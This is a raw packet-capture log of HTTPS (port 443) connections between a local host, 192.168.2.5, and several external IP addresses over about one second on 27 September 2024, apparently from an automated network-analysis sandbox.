Sep 27, 2024 05:51:02.833065033 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.833115101 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.833142042 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.833165884 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.833180904 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.833204985 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.833231926 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.833240032 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.833278894 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.834325075 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.834346056 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.834384918 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.834405899 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.834417105 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.834431887 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.834460020 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.834481955 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.834534883 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.834692001 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.834805012 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.835378885 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.835397959 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.835412025 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.835447073 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.848522902 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.848572969 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.848689079 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.848929882 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.848944902 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.855748892 CEST	49895	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.855791092 CEST	443	49895	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.856091022 CEST	49895	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.856506109 CEST	49895	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.856517076 CEST	443	49895	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.882833004 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.882858992 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.882865906 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.882877111 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.882925987 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.882931948 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.882968903 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.882980108 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.883068085 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.887525082 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.887546062 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.887595892 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.887648106 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.887677908 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.887952089 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.888391018 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.888412952 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.888458014 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.888470888 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.888497114 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.888515949 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.889018059 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.889033079 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.889079094 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.889094114 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.889456034 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.892798901 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.892815113 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.892878056 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.892893076 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.893062115 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.970225096 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.970252037 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.970315933 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.970341921 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.970401049 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.970402002 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.974387884 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.974415064 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.974457979 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.974473000 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.974481106 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.974538088 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.974538088 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.974539042 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.974595070 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.974944115 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.974960089 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.977765083 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.977782965 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.977866888 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.977900028 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.978024960 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.978161097 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.978203058 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.978213072 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.978235960 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.978283882 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.979403019 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.979428053 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.982758045 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.982785940 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.983886957 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.984144926 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.984154940 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.986712933 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.986757994 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.987142086 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.987545013 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.987560034 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.147667885 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.147989988 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.148058891 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.149249077 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.149620056 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.149755955 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.149771929 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.149815083 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.166740894 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.167990923 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:03.168065071 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:03.168200016 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:03.169199944 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.169262886 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.169852018 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.169930935 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.170998096 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.171071053 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.171336889 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.171650887 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.171756983 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.172071934 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.172094107 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.172224045 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.172239065 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.172889948 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:03.172909021 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:03.173300028 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.174503088 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.174674034 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.176994085 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.195584059 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.223443985 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.225682020 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.339437962 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.340606928 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.341326952 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.341348886 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.341780901 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.342283964 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.342313051 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.342799902 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.343871117 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.344167948 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.344371080 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.344460011 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.344913006 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.344954967 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.348886013 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.352066994 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.352129936 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.352638960 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.353182077 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.353322029 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.353360891 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.387402058 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.391402006 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.401576042 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.448820114 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.454317093 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:03.454349041 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.454749107 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.456396103 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:03.456463099 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.456557035 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:03.499397039 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.504443884 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.504501104 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.504566908 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.504581928 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.504663944 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.504714012 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.507052898 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.507071018 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.512414932 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.512520075 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.512738943 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.515989065 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.516019106 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.516410112 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.516470909 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.516489983 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.517268896 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.517283916 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538116932 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538141966 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538147926 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538165092 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538172007 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538177013 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538249016 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.538305044 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.538388014 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.543458939 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.543493032 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.543524981 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.543575048 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.543596029 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.543625116 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.543636084 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.543683052 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.546781063 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.546807051 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.549436092 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.549463034 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.549628973 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.549871922 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.549885035 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.553991079 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.554039955 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.554203033 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.557630062 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:03.557662010 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:03.571854115 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.571934938 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.572000027 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:03.572326899 CEST	49894	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:03.572345972 CEST	443	49894	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:03.573656082 CEST	49901	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.573682070 CEST	443	49901	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.573951960 CEST	49901	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.574168921 CEST	49901	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:03.574181080 CEST	443	49901	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:03.623096943 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.623358011 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.623383045 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.623686075 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.623989105 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.624037027 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.624108076 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.626702070 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.626729965 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.626776934 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.626796961 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.626836061 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.626854897 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.630177975 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.630194902 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.630228996 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.630234003 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.630278111 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.640727997 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.640923023 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.640932083 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.641417980 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.641477108 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.642429113 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.642473936 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.642632008 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.642704964 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.642739058 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.644364119 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.644560099 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.644572973 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.645047903 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.645482063 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.645611048 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.645631075 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.667402983 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.667501926 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.682723999 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.682732105 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.691392899 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.698102951 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.718708992 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.718735933 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.718806028 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.718811989 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.718842983 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.718902111 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.719815016 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.719830036 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.719882965 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.719887972 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.719933033 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.721172094 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.721190929 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.721246004 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.721250057 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.721307993 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.722750902 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.722767115 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.722824097 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.722829103 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.722863913 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.726813078 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.727010012 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.727015972 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.727319002 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.727904081 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.727960110 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.728028059 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.729604006 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.775402069 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.800518036 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.801028967 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.801048040 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.802161932 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.802231073 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.804657936 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.805279016 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.806535006 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.806706905 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.806739092 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.811579943 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.811646938 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.811817884 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.811923027 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.811923981 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.811923981 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.813466072 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.813510895 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.817873001 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.817914009 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.818000078 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.818325996 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.818336964 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.846981049 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:03.847249985 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:03.847315073 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:03.848522902 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:03.848613977 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:03.851000071 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:03.851135015 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:03.851308107 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:03.851413012 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:03.851453066 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:03.851485014 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.851494074 CEST	443	49889	47.108.5.198	192.168.2.5
